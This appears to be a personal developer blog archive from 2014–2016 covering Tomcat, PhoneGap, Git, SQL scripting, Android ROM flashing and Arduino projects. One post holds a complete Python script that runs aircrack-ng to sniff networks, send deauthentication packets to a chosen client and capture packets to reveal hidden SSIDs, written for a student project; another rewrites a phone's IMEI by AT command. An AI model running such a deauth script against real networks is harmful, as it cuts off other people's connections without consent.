July 22, 2016

Tomcat - clearing cache

I was doing some works with Tomcat on my current Debian setup and this one issue keeps bugging me the whole day. Today is Friday and lucky for me, I was able to get some times away from that and cleared my mind before getting back at it.

After returning (soaked in wet rain), I came to the conclusion that Tomcat cached some of the apps that I deployed somewhere. This means that re-deploying the apps does not really load up the entirely new App properly as a whole.

Before that, I have checked and did the following, which seemingly "removed" the previous deployment.

| Remove the contents of the folder $CATALINA_HOME/work

Well, that worked for basic UI changes that I made, until I needed to re-point the apps to my local database. In my App, there is a config/properties file that handles this. I made changes to the file, and guess what?

The databases connection was unsuccessful...

It seems that Tomcat still does some cache-ing somewhere....

and then I found out the solution :

Change the content of the following file : $CATALINA_HOME/conf/context.xml

Add inside the tag : 
     

and that solves my issues.

July 21, 2016

PhoneGap developement on Debian Linux

A friend of mine started a colloboration to create an App which aims to help Orphanage discovery. The main tool to use is PhoneGap. Little that I know, PhoneGap Desktop is not yet supported on Linux. The wine-ported version reported crashing upon launched.

The thing is, I didn't know that PhoneGap has command line tool called PhoneGap CLI. PhoneGap CLI is actually older than the Phone Gap desktop. I have used PhoneGap desktop on Windows before and I found it quite easy to use. I didn't do much with it though. Now that I am on full-time Linux, I will need to use the PhoneGap CLI, thus tutorial below is for those who are interested to develop a PhoneGap app using PhoneGap CLI.


1. First, install Node.js
sudo apt-get update
sudo apt-get install nodejs

2. Simlink Node.js as node (this is how PhoneGap calls it - node instead of nodejs)
sudo ln -s /usr/bin/nodejs /usr/bin/node

3. Install NPM - this is package manager for PhoneGap and other similar javascript programs
sudo apt-get install npm

4. Install PhoneGap using NPM
sudo npm install -g phonegap

5. Install the PhoneGap Developer App from Google Play
https://play.google.com/store/apps/details?id=com.adobe.phonegap.app&hl=en

To get started, lets create hello world app

# create a PhoneGap project, NPM will pull simple hello world project for us to use
phonegap create myApp
# change to project directory 
cd myApp
# build and install the app to Android               
phonegap run android
# start up a local web server to host our application      
phonegap serve           

Get the ip provided and put it in the PhoneGap Developer App on your phone.
The first page displayed is stored at YourAppDirectory/www/index.html

That's it. You're good to go!

To learn what's there in hello world page, go to here :
http://docs.phonegap.com/tutorials/develop/hello-world-explained/




Some screenshots :





July 20, 2016

Git & Github

Intro

Git is the name of this software.

Github is the 'hosted' version of this software - stored in a remote server.

Git stores the project's codes and files.

Git helps programmers in Versioning the codes - each changes they make to the codes will be tagged to a running number, normally with a comment what changes has been done.

Git helps several programmers to collaborate - work together in a single project by making sure everyone can have the latest updated codes at any time and everyone is aware what changes are done to the codes - by reading their comments.



Some terms


Repository : The storage for the codes.

Trunk : Main version of the codes stored in the repository.

Branch : Codes which are derived from trunk (main version). Normally, a programmer will have their own personal branch to work on instead of working directly on trunk - this is to preserve the trunk. So, this could be the first thing they do - branched from trunk. Branched is done on the remote repository - so, basically we creates a copy of the trunk at the remote repository.

Checkout or Clone : Download the current version of the codes from the remote repository to our pc and saved them locally as "local repository". This is usually done the first time we get the codes - checkout from our personal branch.

Origin or Master : The location where codes are checked out from.

Fetch : Get the latest version of codes from remote repository but not merging to the current codes in local repository yet.

Pull : Fetch and Merge at the same time.

Commit : Save the latest changes we did on the local repository to a version. Typically done with a comment what changes have been done.

Add : Add new file for the next commit (see below)

Push : Upload current codes (which has last commit) of local repository to the remote repository, typically to the remote branch.

Merge : "Compare" and "Combine" two versions of  codes. Normally, once all changes are completed on one branch, the branch will be merged to trunk. This will typically happened at the end stage of development.

Conflicts : The differences between two versions of  codes. Occurs when one tries to merge two versions of codes together (i.e. trunk vs branch) that have some differences. Conflicts need to be "resolved"



Typical Workflow

At remote repository, branch from trunk. We get the most updated version.

Checkout the branch to a local repository at our pc.

Make some changes on the codes.

Commit with a message - versioning will be done automatically.

Make more changes on the codes.

Commit with another message - new version created.

Some more changes and commit cycles.

Work are done.

Push the branch in our local repository to the branch in remote repository.

Try to merge the remote branch to the trunk.
   
Conflicts with occurs at this point since we are updating the trunk with our changes. Resolve them.
   
Once merged to trunk, trunk will have our latest codes.
   
Another programmer will try to merge his branch to the trunk.
   
If any conflicts occurs, he need to resolve them first. Typically, if two programmers don't work at the same issues, there will be not much conflicts or conflicts can be easily resolved.



To start, install Tortoisegit below and start checking out from any Github repos :
https://tortoisegit.org/about/screenshots/#Explorer_integration

June 15, 2016

WAMP Port 80 is in use

Most comprehensive solution yet.

https://www.devside.net/wamp-server/opening-up-port-80-for-apache-to-use-on-windows

Because we, devs, are too lazy to type the port number everytime.

Oracle INS-30131 Initial setup error

Had trouble with it. Found some fixes

Fix 1 :

  • Enable administrative share for C$ (Please check with your System Admin to do this or See Microsoft document http://support.microsoft.com/kb/314984)
  • Check that it is ok:
  • net use \\c$ should work
  • the current user (i.e. user in administrator group) should have all privileges on the default share
  • Retry the installation
  • Remove the administrative share again



Fix 2 :

  • Remove the OracleRemExecService before doing the Oracle Client 12c Release 1 32-bit or 64-bit installation on the same Microsoft Windows x64 (64-bit) after installing the Oracle 64-bit or 32-bit software .
  • Go to the Windows 'Services'
  • Stop OracleRemExecServiceV2
  • ( This service is having a intelligence .Once someone tries to stop it this service gets deleted. This is due to the fact ,that this service is not running from the Oracle Home like other oracle services ,but from temp . For example : C:\Users\AppData\Local\Temp\oraremservi... )
  • Then try to install the Oracle 12c 32-bit or 64-bit on the same Microsoft Windows x64 (64-bit)



Fix 3 :

  • Launch cmd.exe in Administrator mode
  • SET TEMP = C:\TEMP
  • Run the installer from that command window

Eclipse Java Project Files Organization

Think of Java sourcecode packages as one big hierarchical namespace. Commercial applications typically live under 'com.mycompany.myapp' (the website for this application might be 'http://myapp.mycompany.com' although this is obviously not always the case). How you organize stuff under your myapp package is largely up to you. The distinction you make for C# between executable (.exe), DLL's and low-level classes does not exist in the same form in Java. All Java source code is compiled into .class files (the contents of which is called 'bytecode') which can be executed by a Java Virtual Machine (JVM) on many platforms. So there is no inherent distinction in high-level/low-level classes, unless you attribute such levels via your packaging. A common way of packaging is:
  • com.mycompany.myapp: main class; MyApp (with a main method)
  • com.mycompany.myapp.model: domain model classes; Customer, Order, etc.
  • com.mycompany.myapp.ui: user interface (presentation or view) code
  • com.mycompany.myapp.service: services within your application, i.e. 'business logic'
  • com.mycompany.myapp.util: helper classes used in several places
this suggests a standalone Java app, it might be different if it is a webapp using one of the many frameworks.
These packages correspond to a directory hierarchy in your project. When using Eclipse, the root of such a hierarchy is called a 'source directory'. A project can define multiple source directories, commonly a 'main' and a 'test' source directory.
Example of files in your project:
src/test/java/com/acme/foo/BarTest.java
src/main/java/com/acme/foo/Bar.java
lib/utilities_1_0.jar
And inside utilities_1_0.jar:
com/acme/foo/BarUtils.class
BarUtils.class this is a compiled java class, so in platform independent bytecode form that can be run on any JVM. Usually jarfiles only contain the compiled classes although you can sometimes download a version of the jar that also contains the source (.java) files. This is useful if you want to be able to read the original source code of a jar file you are using.
In the example above Bar, BarTest and BarUtils are all in the same package com.acme.foo but physically reside in different locations on your harddisk.
Classes that reside directly in a source directory are in the 'default package', it is usually not a good idea to keep classes there because it is not clear to which company and application the class belongs and you can get name conflicts if any jar file you add to your classpath contains a class with the same name in the default package.
Now if you deploy this application, it would normally be compiled into .class files and bundled in a .jar (which is basically a fancy name for a .zip file plus some manifest info). Making a .jar is not necessary to run the application, but handy when deploying/distributing your application. Using the manifest info you can make a .jar file 'executable', so that a user can easily run it, see [a].
Usually you will also be using several libraries, i.e. existing .jar files you obtained from the Internet. Very common examples are log4j (a logging framework) or JDBC libraries for accessing a database etc. Also you might have your own sub-modules that are deployed in separate jarfiles (like 'utilities_1_0.jar' above). How things are split over jarfiles is a deployment/distribution matter, they still all share the universal namespace for Java source code. So in effect, you could unzip all the jarfiles and put the contents in one big directory structure if you wanted to (but you generally don't).
When running a Java application which uses/consists of multiple libraries, you run into what is commonly referred to as 'Classpath hell'. One of the biggest drawbacks of Java as we know it. (note: help is supposedly on the way). To run a Java application on the command line (i.e. not from Eclipse) you have to specify every single .jar file location on the classpath. When you are using one of Java's many frameworks (Maven, Spring, OSGi, Gradle) there is usually some form of support to alleviate this pain. If you are building a web application you would generally just have to adhere to its layering/deployment conventions to be able to easily deploy the thing in the web container of your choice (Tomcat, Jetty, Glassfish).
I hope this gives some general insight in how things work in Java!

June 8, 2016

Project Management Tool : Redmine

MySQL Cluster

Had a nice informal interview (more like a meetup, really) with one of the partners of Kendra Solutions (https://kendra-solutions.com), Andreas. They work on a payment exchange/gateaway system for Telco companies called Kendra Exchange System. Andreas introduced me to some tools that the company are using for the development of their system and MySQL Cluster is one of them.

Gotta learn what it is.



June 6, 2016

Getting 2-dimensional array data to Excel File with PHP



 header('Content-type: application/ms-excel');
 header('Content-Disposition: attachment; 

 filename=REPORT_ORDER.csv');

 $fp = fopen("php://output", "w");

 $test = array ();
 $test[0]['collumn1'] = '00'; 
 $test[0]['collumn2'] = '10'; 
 $test[0]['collumn3'] = '01'; 
 $test[1]['collumn1'] = '11'; 
 $test[1]['collumn2'] = '20'; 
 $test[1]['collumn3'] = '21'; 

  //insert collumn names
 fputcsv($fp, array_keys($test[0]));

 //insert data rows
 for($x=0; $x
     fputcsv($fp, $test[$x]);
 }

 fclose($fp);
 exit;

?>

June 1, 2016

Re-learning Java Spring Part 1

Relearning Java Spring for next project.














April 6, 2016

What is Agile Software Developement


Found some good videos on Agile Software Developement. Good watch!




March 15, 2016

on Time Travel

Time travel is not possible.

Hear me out.

In the natural order of physical life and existence, time does not exist at all. It is we human who created the concept of time to measure the movements. And we divide each day into 24 hours and one hour into 60 minutes and so on. So, actually, "time" does not move at all because it is a abstract creation made by us. So what moves? It is our biological functions that move. Our body grows from one cell into thousands and then millions, from fetus into a baby and then into a toddler, a child, and finally into an adult. It is the same with plants and animals. We, the objects, have moved. And we measure such movement with the abstract concept of time which we have created.

And you know, a tree or plant can never shrink backwards until it become a seed, nor a human being can have his or her bodily cells reformed backwards until he or she becomes a baby. It is a one way ticket. You SIMPLY CAN'T reverse these process.

Thus, time travel is not possible.

February 22, 2016

[Android] Fast ADB installer


If you need just the adb tool for debugging your mobile app, but you don't need the whole big size SDK, use this tool : Download 15 seconds ADB Installer v1.3

Features:
Small - 9.18 MB
Fast - 15 seconds install
Include - ADB, Fastboot and also Drivers
Easy to install - just run it and program will guide you
Clean - ADB and Google Drivers from latest SDK

Install process:
1. Run it with administrator privileges
2. Press Y/Yes to install ADB and Fastboot or N/No to skip
3. Press Y/Yes to install ADB system-wide or N/No for current user only
4. Press Y/Yes to install Drivers or N/No to skip
5. Continue Driver installation
6. 15 seconds passed - finished!

Notes:
System-wide: ADB and Fastboot are installed to %SystemDrive%\adb directory, and added system-wide path.
Current user only: ADB and Fastboot are installed to %UserProfile%\adb directory, and added path for current user.
CMD can use ADB and Fastboot from any directory.
Drivers are installed to system - no need to install them from directories.
Installer automaticly decides if install 32-bit or 64-bit drivers.
If you have problem with driver enumeration in Windows 8.1 install update KB2917929

February 19, 2016

[SQL] Good practice in writing scripts for Table and Stored Procedures

I learned this from my current project's team leader, Shaun who is a good programmer himself. His attentive to details is off the chart among those that I know. These are good habits to incorporate into my programming skill, specifically for SQL.

All the tips below are to ensure that our SQL scripts can be executed at all times and multiple times. These are also to ensure that MOST preconditions are covered so that our script can be executed successfully until the end of the line - instead of stopping halfway due to errors.. Sometimes, we as developer have no control over the deployment of our scripts. Once we handed them over, the IT guys of the clients will run the scripts and chase us when something goes wrong (which happens, all the time!)



For TABLES

1. To create a new table, do not just DROP and CREATE. The best way is to put in the preconditions check, that is to check first IF EXIST (using schema, sys,object or HASH and then DROP. This will avoid stopping the execution of the script due to the table not found - thus can't be dropped.

Using sys,objects :

IF EXISTS(SELECT 1 FROM sys.Objects WHERE  Object_id = OBJECT_ID(N'dbo.MY_TABLE') AND Type = N'U')
BEGIN
PRINT 'TABLE_EXIST'
ENDIF 

Using Hash :

IF DBO.getTableHash('MY_TABLE') = 0xACE31E3C4550DE4B166F01E78A1D86E5
  DROP TABLE MY_TABLE

2. To insert a new data, ensure that ALL PRIMARY KEYS of the rows are checked against before the INSERT command is executed. This is to ensure that we select exactly the data row that we want - the use of Primary Keys distinguishes this!

IF NOT EXISTS (SELECT * FROM TABLE1 WHERE COL_PK1='A1' AND COL_PK2='A2') 
BEGIN
INSERT INTO SET_INITIAL 
(COL3, COL4)
VALUES 
('A3','A4')
END


For STORED PROCEDURES (StoProc)

1. To alter an existing StoProc or to create a new one, do not use DROP and CREATE. SQL keeps a log somewhere with regards to the creation and modification of any StoProc. For existing StoProc, DROP and CREATE will not be helpful anymore for the logs because CREATE builds a new StoProc altogether instead of referring to the previously existing one that being dropped. Instead, use the following : Check IF NOT EXIST, then CREATE empty StoProc. Then, followed by ALTER StoProc. In the above script, first part creates an dummy StoProc if the StoProc with the specified name in the specified schema does not exist. This is useful for the initial setup, when you are creating this StoProc in a new environment. The second part alters the StoProc always – whether it’s created in the first step or it existed before. So, every time you need to make some changes in the StoProc, only the ALTER PROCEDURE section (second part) of the above script needs to be modified and entire script can be executed without worrying whether the StoProc already exists or not.

IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[SP_MY_ELEGANT_SP]') AND type in (N'P', N'PC'))
 EXEC('CREATE PROCEDURE [dbo].[SP_MY_ELEGANT_SP]  AS SET NOCOUNT ON;')
GO

ALTER PROCEDURE [dbo].[SP_MY_ELEGANT_SP]
.....

The usual approach what people follow for modifying StoProc is to check IF EXIST, then DROP it (if exists) and CREATE it back. The following are the drawbacks of using this approach:

  • Permissions associated with the object, like GRANT EXECUTE etc., are lost when we DROP and CREATE the StoProc.
  • If ALTER PROCEDURE is used on any prior version in a "maintenance" script, different Script needs to be written to cater for it if the StoProc is already existed.
  • If DROP PROCEDURE and CREATE PROCEDURE approach is used, then all the permissions previously present on the Stored Procedure need to be given again with the help of necessary additional scripts. 


[SSRS] Missing URL parameter: IterationId

Your SSRS report previewed well on Visual Studio but when publishing it, you were prompted with the following error:

Error caught in Application_Error event:
Microsoft.Reporting.WebForms.HttpHandlerInputException: Missing URL parameter: IterationId

To go around this, add your site to "Compatibility View Setting" of your Internet Explorer and voila!



February 5, 2016

[SSRS] Clear Report Data Cache easily

Some changes on your SSRS report weren't being reflected when you run it, especially when you made changes on the SP.

Why? SSRS kept a data cache file of the report when you first ran it. By running the report again, sometimes SSRS only retrieves the data cache file instead of actually running the report entirely again. I think this is only the case when you made changes structurally (getting new data column, maybe?) on your SP.

Let's create a shortcut to remove these files :

Go to Tools > External Tools

Add a new tool with the following settings:

      Title: Clear Report Data Cache
Command: "%WinDir%\System32\cmd.exe" Arguments: /C DEL /S /Q "$(SolutionDir)\*.rdl.data"
Check options: Use Output window & Close on exit

Now you can run it. Just to Tools > Clear Report Data Cache 

You can check the output window



Credit Jason Faulkner

March 22, 2015

The Secret History of Hacking

I bumped onto this during dinner. It is a good one to watch.


March 21, 2015

Sublime Text 2 Monokai Theme on Android Studio

I had it changed on Windows, so I figured I'd have it change here on Kali Linux too. Here are the steps:

Download the Sublime Monokai Theme (.zip)
        from https://github.com/y3sh/Intellij-Colors-Sublime-Monokai

Import the downloaded file. File -> import settings -> and select the Monokai-Sublime.jar

Change to the Darcula theme at Settings - Appearance

Select SublimeMonokai scheme for font at Settings - Editor - Colors and Fonts

Select the Consolas Font at Settings - Editor - Colors and Fonts - Font and set the font size to 15


This is how it looks:

adb issues on Kali Linux

I've setup Kali Linux on my laptop for a while, trying to get used to the whole Linux environment.
No more windows.

After re-installing Android Studio, I wanted to get to work quickly and try to fire up a hello world app.
However, when I plugged in my Lenovo, it was not detected automatically. Running adb devices gives me this:

List of devices attached
????????????    no permissions

Luckily found a fix.

This is what I did. I created a file named /tmp/android.rules with the following contents:

SUBSYSTEM=="usb", ATTRS{idVendor}=="0bb4", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="0e79", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="0502", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="0b05", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="413c", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="0489", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="091e", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="18d1", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="0bb4", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="12d1", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="24e3", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="2116", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="0482", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="17ef", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="1004", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="22b8", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="0409", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="2080", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="0955", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="2257", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="10a9", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="1d4d", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="0471", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="04da", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="05c6", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="1f53", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="04e8", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="04dd", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="0fce", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="0930", MODE="0666"
SUBSYSTEM=="usb", ATTRS{idVendor}=="19d2", MODE="0666"

and then ran
sudo cp /tmp/android.rules /etc/udev/rules.d/51-android.rules
sudo chmod 644   /etc/udev/rules.d/51-android.rules
sudo chown root. /etc/udev/rules.d/51-android.rules
sudo service udev restart
sudo killall adb

March 7, 2015

Adding to environment PATH in Linux

To add any application binaries to PATH, modify the application folder path.

    export PATH=$PATH:/opt/apps
    export PATH=$PATH:/home/bin
    export PATH=$PATH:/home/raf/Android/Sdk/platform-tools

 To see what's in PATH, use
          echo $PATH

Installing Oracle Java 8 on Kali Linux

echo "deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main" >> /etc/apt/sources.list

echo "deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu precise main" >> /etc/apt/sources.list

sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys EEA14886

sudo apt-get update

sudo apt-get install oracle-java8-installer

January 25, 2015

Re-installing official ROM for Lenovo S890

I must admit, fixing this phone is a pain in the arse a little bit, especially after I followed the instructions as close as 1, 2, 3. First, it was about installing the drivers. Then, it turned out, the version of the app in used matters too otherwise the flashing will keep failing.

Use : 
  1. SP_Flash_Tool_v3.1332.0.187.rar
    (Link: http://chinagadgetsreviews.blogspot.ro/2013/12/download-sp-flash-tool-v313320187.html)
  2. Lenovo_S890_ALL_Driver
  3. S890_S511_LANG_EN
    (Link: http://www.needrom.com/download/lenovo-s890-2/)

Installing ROM using SP_Flash_Tool
Note:Video https://www.youtube.com/watch?v=LcO4yYNkTl8

Problem 1 : Drivers installation
Firstly Download MTK USB VCOM Drivers for MTK6577
Now open Device Manager (in Control Panel)
Right click on PC name and then click on Add legacy hardware
Now in Add Hardware Wizard click on Next
Click Install the Hardware that i manually select from a list (Advanced)
Click Show All Devices
Click Next 
Click Have a Disk
Browse, Now select the drivers that have been downloaded (inf file)
Now click on Next on the wizard to install the drivers
When promoted for security issue just click on install any anyway to finish the driver installation.
After clicking on Finish, Restart the PC 
Note: http://thebroodle.com/microsoft/windows/how-to-install-mtk65xx-preloader-usb-vcom-drivers-in-windows/

Problem 2: S_FT_FORMAT_FAIL (4010)
Make sure to use SP_Flash_Tool_v3.1332.0.187. Other version may not work (most of them didn't).
Open the original ROM scatter file using notepad++.
Delete (__NODL_) at __NODL_PMT 0x700000 line and leave it to PMT 0x700000. 
Save it as a new file.
Open SP Flash Tool and open the edited scatter file.
Format using "Auto Format Flash" and choose "format whole flash except Bootloader"
Wait until green circle appeared 
Re-install the ROM

Problem 3: Invalid IMEI, no calls, no SMS, no data (after successfully installed ROM)
Root with KingoRoot (http://www.kingoapp.com)
Install Mobileuncletools from PlayStore
Choose Engineer mode
Choose Engineer Mode (MTK)
Choose Connectivity TAB
Choose CDS Information
Choose Radio Information
Choose phone 1
Edit "AT+" to become "AT +EGMR=1,7,"123456789012345" 
Press "send AT Command"
Press Back
Edit "AT+" to become "AT +EGMR=1,7,"123456789012345" 
Press "send AT Command"
Exit and reboot. 
Note: Video https://www.youtube.com/watch?v=B40C2hoxn8U


Note: If you have other Lenovo phone, you can search in here for official and custom made ROM
http://www.android.gs/download-lenovo-stock-rom/
http://www.needrom.com/

October 23, 2014

Modenas Kriss 100

Sold my Kriss. Let these photos just be up here :-)







October 18, 2014

Got myself a new ride

I sold the old 2000 Modenas Kriss for RM1300 and got myself a 2008 Modenas Elegan 150 instead.

So far, the money is worth it!

The pickup is good, the engine is fine, definitely the best of all scooters I've seen and tested the past weeks. The handle is a bit shaky at 100km/h but I often cruise below that.

Also, this thing is also unbelievably fuel-savvy. I went 100km on 2-person ride with only RM10 (and still about half left in the tank)






My friend's (with the box) and mine. I thought to buy that one but the owner is not in Malaysia. 


They look the same but they are actually different makes.


The first 100 km. 


Will definitely get it for its first time service soon. Maybe a monorack and a box.

On a side note, I hereby concur that I was seduced to the scooter world by Bro Syed Aljunid, who currently rides a Sym Maxsym 400.

September 20, 2014

Android Studio : can't find resources

I just started using Android Studio (had too much of Eclipse lately), just to get myself comfortable with it.

For some reason, I kept having these problems where Android Studio failed to locate the new files that I just dropped into the project folder.

Well, this fix it

File>>Invalidate Caches\Restart>>Invalidate and Restart.



September 13, 2014

Aliffah's FYP Presentation

Aliffah just did her final year presentation last week.

Oh yes, I managed to seduce her to do a Raspberry Pi-related project.

Kudos me :-)



GardenPi: Taking care of your garden with Raspberry Pi

I want to start collecting Raspberry Pi's based projects so that when time comes (and as they becomes financially do-able), I'll be able to build a couple of these useful ones. You know, never stop learning, never stop innovating.

This one is not like any micro-controller based garden watering systems. It uses weather forecast (forecast.io API) to determine whether or not the watering should be done for the day! Sounds good, right?

I don't want these to be lost when the articles got deleted or the website becomes unavailable. So, I'd a copy of the articles here and put the reference where it's due.

Project Name : GardenPI
Project Reference : LINK

--------

Like any good “lazy programmer,” I’m always looking for ways to automate. This spring’s project: monitoring and watering my garden. I had a wifi-enabled Raspberry Pi laying around and decided to put it to good use. For this project I wanted to do better than just a glorified timer. The goal: An automated watering system that can use the weather forecast, soil, light, and temperature sensors to keep my garden looking great all summer.
Phase 1 : Timer and Forecast-based Watering
I’ve written a simple script that wakes up at 10PM, determines the likelihood of rain, and waters accordingly. The script looks up the forecast using the Forecast.io API. If there is less than a 50% chance of rain, the GardenPi will water for a short duration.
Future phases (already underway) will include sensors for temperature, soil moisture, light, and humidity. Based on that information, the GardenPi will be able to make better watering decisions. The sensor data could be made available via an onboard website or mobile application. Better sensors, form factor, time lapse, and user interface are all things that I’ll be looking at for future versions.
I’ve learned a lot in the last few weeks from building this project — a little bit more about basic electronics, how to solder, how to draw up schematics, and the joy of building actual gizmos that serve a purpose. I’ve also learned that I’m not the only one doing this kind of project with the Raspberry Pi; I’ve included links to other projects at the end of this post.
Required Parts (approx. cost ~$85)
  • Raspberry Pi
  • USB Wifi Dongle
  • SD Card
  • Soaker / Drip hose throughout the garden
  • Solenoid for turning on the soaker hose
  • A female hose swivel adapter to connect your garden hose to the solenoid
  • Relay for switching 12V power
  • 12V / Raspberry Pi power supplies
  • Assorted electronics (breadboard, resistors, wires, LED)
  • High tech weather resistant case (aka medium sized Tupperware container)
Schematics
Getting Rpi ready
  1. Install Raspbian and configure WiFi access.
  2. Install Ruby for root user.
  3. Run gem install god.
  4. Pull the garden_pi_waterer repository && bundle install to install dependencies.
  5. Modify the parameters (forecast.io API key, timing info, etc.) in environment.rb.
  6. Build out breakout board (see schematic below).
  7. Connect the solenoid between water source and soaker hose, taking note of the directional arrow on the solenoid and using the adapter to connect the male end of your garden hose to the input on the solenoid.
  8. Power up the Pi and your 12V power supply.
  9. Install install/init.d to /etc/init.d/god and follow instructions in that file
  10. Install god.conf to /home/pi
  11. Restart and enjoy.
Results

I’ve watered my garden with a Raspberry Pi. Success. There is a lot of room for improvement, and I’m looking forward to extending the GardenPi’s capabilities.

September 11, 2014

My Final Year Project (CSBS) presentation

Below are the slides that I used during my final year project presentation. Basically, CSBS stands for Configurable Steganography Bluetooth-enabled Smartlock. In short, it uses the Bluetooth capabilities that exist in almost all smartphones to unlock the door.

There are many similar projects, and some of their products are already in the market (Kevo, Goji). However, the different is that they are using Bluetooth 4.0 aka Bluetooth Low Energy (BLE) or Wifi. BLE exists only on newer smartphones and you need Wifi, well, you need the coverage to make it work. Plus, making your door connected to the internet might not really be a good thing (the Internet of Things downside).

We attempted to make it work on Bluetooth 2.0 (the conventional one). I must say, given some financial help, I'd go making this project a real thing.

Chrome Pop Up blocker


If you browse the internet for so long, you'll understand the pain of closing those annoying pop ups. Some Ad Blocker can close those pop ups that comes in a new window. But some does not work on the one that pop up as a new tab.

Well, this one does

Get it HERE


September 9, 2014

Python script : SSID sniffer, De-auth attack and Packets capturing using Aircrack-ng and tshark

I was asked by my friend, Atikah to write some Python scripts for her final year project. The project involves discovering the hidden SSID of surrounding Wifi networks. Getting the non-hidden SSID is a matter of turning on the wireless card. For hidden SSID, the trick is to capture the authorization packets sent by the connected client to that Wifi network and get the SSID from the packet.

To do, we do "De-Auth attack" on that specific client. As a result, we disconnect it from the Wifi network. Once it's disconnected, it will try to reconnect to the Wifi network automatically by sending the "authorization" packets to that Wifi's Access Point.

We then capture these packets and analyse it for information.

#!/usr/bin/env python

import os

from time import sleep

print "1 - Put the wireless card to monitor mode."

print "2 - Sniff for surrounding wireless network and list all BSSIDs"
print "3 - Perform deAuth attack to a client from an AP"
print "4 - Capture packets into a file and examine it (if "
print " "
print "IMPORTANT NOTE: Press CNTRL+C to stop both the sniffing process and packets capture process"
sleep(5) #pause for 3 seconds so user can read the info

try:

    os.system("airmon-ng start wlan0") #set wireless card to monitor mode
    sleep(5) #pause for 5 seconds so user can read the info
    print "wireless card is set to monitor mode. Start sniffing..."
    os.system("airodump-ng mon0") #start probing local wireless network
except KeyboardInterrupt:
    print "nothing";

print "Sniffing process stopped."

print "Lets start deAuth attack. Pick an AP and a connected client"
bssid = raw_input("Enter the MAC address of the hidden SSID of an AP (BSSID) : ")
station = raw_input("Enter the MAC address of connected client (STATION) : ")

try:

    print "Start deAuth attack..."
    os.system("aireplay-ng --deauth 10 -a %s -c %s mon0 --ignore-negative-one" % (bssid, station)) #send deAuth packets to the AP
except KeyboardInterrupt:
    print "nothing";

print " "

print "deAuth attack is stopped. At this point, the client is trying to re-authenticate with the AP"
print "Lets capture the packets"
sleep(5) #pause for 3 seconds so user can read the info

try:

    os.system("airodump-ng --bssid %s -w captured_packet mon0" %(bssid))
except KeyboardInterrupt:
    print "nothing"

print "The captured packets are saved to a file in the same directory - captured_packet.cap"

print " "
print "Displaying the first 20 captured packets..."
os.system("tshark -r 'wlan.bssid == %s' -r captured_packet-01.cap | grep SSID | sed 's/^.*SSID=//' | sort | uniq" % bssid)
print "end"

Make your Arduino talk! (Speech Synthesiser or Text-To-Speech library)

The other day I was asked by Joe to help him with a project (more about it later), which needs to produce sound, or in a simplest way, speak. I list here the simplest possible ways to do it.

 1. Cantarino

http://code.google.com/p/tinkerit/wiki/Cantarino

2. Text-To-Speech library
    Source : forum.arduino.cc

    Some RC filter circuit and Amp need to be constructed at the output to produce the sound.
 
Download it here : Download

August 29, 2014

Arduino: avrdude stk500_getsync(): not in sync resp=0x30 error

1. Make sure you have Arduino driver installed correctly (serial com is working)

2. Make sure serial port is correct

3. When uploading the sketch, make sure there is no connection at Tx (pin0) and Rx (pin1)

Arduino : Serial communication with interrupt

The other day, I helped Joe with his project. The project requires the Arduino to listen to the Bluetooth communication (sent via an Android App) while also running its own program. The Bluetooth module uses the serial comm. To make it work, I'll use this basic code for the interrupt which when triggered, it takes the Bluetooth communication's input.

// To use this example, you have to connect Rx pin (digital pin 0) to interrupt 0 pin (digital pin 2).
void setup()
{
    // Using interrupt 0 on digital pin 2.
    pinMode(2, INPUT);
    digitalWrite(2, LOW);
   
    Serial.begin(9600);
    attachInterrupt(0, serialInterrupt, CHANGE);

    // Used to signal that main loop is alive.

    pinMode(4, OUTPUT);
    digitalWrite(4, LOW);

    // Used to signal that Serial input was read.

    pinMode(5, OUTPUT);
    digitalWrite(5, LOW);
}

void loop()

{
  // Do something using even delays. There is an interrupt for that (Serial I/O)!

  // Blink led to signal loop is alive.

  digitalWrite(4, HIGH);
  delay(500);

  digitalWrite(4, LOW);
  delay(500);
}

// Volatile, since it is modified in an ISR.

volatile boolean inService = false;

void serialInterrupt()

{
  // Trick: since Serial I/O in interrupt driven, we must reenable interrupts while in this Interrupt Service Routine.
  // But doing so will cause the routine to be called nestedly, causing problems.
  // So we mark we are already in service.

  // Already in service? Do nothing.

  if (inService) return;

  // You was not in service. Now you are.

  inService = true;

  // Reenable interrupts, to allow Serial to work. We do this only if inService is false.
  interrupts();

  // Allow serial to read at least one byte.
  while(!Serial.available());

  // Blink led to signal Serial data arrived.

